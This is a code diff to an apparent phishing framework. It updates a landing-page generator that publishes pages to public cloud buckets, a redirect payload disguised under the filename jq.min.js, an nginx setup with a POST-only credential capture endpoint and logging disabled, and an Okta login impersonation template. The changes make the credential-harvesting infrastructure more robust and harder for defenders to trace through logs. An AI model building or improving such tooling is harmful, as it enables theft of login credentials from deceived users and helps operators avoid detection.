diff --git a/modules/phishing/lander_gen.py b/modules/phishing/lander_gen.py index 017d79b..83b5b88 100644 --- a/modules/phishing/lander_gen.py +++ b/modules/phishing/lander_gen.py @@ -1,5 +1,6 @@ #!/usr/bin/env python3 import re +import shlex from pathlib import Path from urllib.parse import urlparse from jinja2 import Environment, FileSystemLoader @@ -63,15 +64,19 @@ def post_deploy_generate_lander(config: dict) -> None: print(f" {COLORS['CYAN']}{html_file}{COLORS['RESET']}") print(f" {COLORS['CYAN']}{js_file}{COLORS['RESET']}") + qbucket = shlex.quote(bucket) + qhtml = shlex.quote(str(html_file)) + qjs = shlex.quote(str(js_file)) + if provider == 'gcs': public_url = f"https://storage.googleapis.com/{bucket}/index.html?{campaign_id}" - upload_cmd = f"gsutil cp {html_file} gs://{bucket}/index.html && gsutil acl ch -u AllUsers:R gs://{bucket}/index.html" + upload_cmd = f"gsutil cp {qhtml} gs://{qbucket}/index.html && gsutil acl ch -u AllUsers:R gs://{qbucket}/index.html" elif provider == 's3': public_url = f"https://{bucket}.s3.amazonaws.com/index.html?{campaign_id}" - upload_cmd = f"aws s3 cp {html_file} s3://{bucket}/index.html --acl public-read" + upload_cmd = f"aws s3 cp {qhtml} s3://{qbucket}/index.html --acl public-read" elif provider == 'azure': public_url = f"https://{bucket}.blob.core.windows.net/$web/index.html?{campaign_id}" - upload_cmd = f"az storage blob upload -f {html_file} -c '$web' -n index.html --account-name {bucket}" + upload_cmd = f"az storage blob upload -f {qhtml} -c '$web' -n index.html --account-name {qbucket}" else: public_url = f"" upload_cmd = "" @@ -82,7 +87,7 @@ def post_deploy_generate_lander(config: dict) -> None: print(f" {COLORS['CYAN']}{public_url}{COLORS['RESET']}") print(f"\n{COLORS['YELLOW']}[!] JS payload deployment:{COLORS['RESET']}") - webserver_scp = f"scp {js_file} user@webserver:/var/www/phishing/static/jq.min.js" + webserver_scp = f"scp {qjs} user@webserver:/var/www/phishing/static/jq.min.js" print(f" {COLORS['CYAN']}{webserver_scp}{COLORS['RESET']}") # ponytail: fixed JS filename visible in webserver logs; upgrade to per-RId rotation if log-harvesting becomes a threat diff --git a/modules/phishing/templates/js-payload.js.j2 b/modules/phishing/templates/js-payload.js.j2 index 32bcf37..7a5b1ab 100644 --- a/modules/phishing/templates/js-payload.js.j2 +++ b/modules/phishing/templates/js-payload.js.j2 @@ -2,10 +2,14 @@ var u = new URLSearchParams(window.location.search); var src = u.get('u') || ''; var dest = {{ redirect_url | tojson }}; - if (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1) { - var params = new URLSearchParams(new URL(decodeURIComponent(src)).search); - var rid = params.get('rid') || params.get('RId'); - if (rid) dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); - } + try { + if (src && (src.indexOf('rid=') !== -1 || src.indexOf('RId=') !== -1)) { + var params = new URLSearchParams(new URL(src).search); + var rid = params.get('rid') || params.get('RId'); + if (rid && rid.length <= 128) { + dest += (dest.indexOf('?') !== -1 ? '&' : '?') + 'rid=' + encodeURIComponent(rid); + } + } + } catch (e) {} window.location.replace(dest); })(); diff --git a/modules/phishing/webserver/templates/nginx-phishing-webserver.j2 b/modules/phishing/webserver/templates/nginx-phishing-webserver.j2 index 2bc7b49..6501277 100644 --- a/modules/phishing/webserver/templates/nginx-phishing-webserver.j2 +++ b/modules/phishing/webserver/templates/nginx-phishing-webserver.j2 @@ -37,19 +37,15 @@ server { access_log off; error_log /dev/null crit; - # PHP processing - location ~ \.php$ { - include snippets/fastcgi-php.conf; - fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; - fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; - } - - # Credential capture endpoint + # Credential capture — only POST to this exact path location = /capture.php { limit_except POST { deny all; } include snippets/fastcgi-php.conf; fastcgi_pass unix:/var/run/php/php7.4-fpm.sock; } + + # Deny all other PHP execution + location ~ \.php$ { deny all; } # Template routing location /templates/ { diff --git a/modules/phishing/webserver/templates/page-templates/okta-login.html.j2 b/modules/phishing/webserver/templates/page-templates/okta-login.html.j2 index e62b4f1..301716b 100644 --- a/modules/phishing/webserver/templates/page-templates/okta-login.html.j2 +++ b/modules/phishing/webserver/templates/page-templates/okta-login.html.j2 @@ -99,7 +99,7 @@
- +
@@ -199,11 +199,11 @@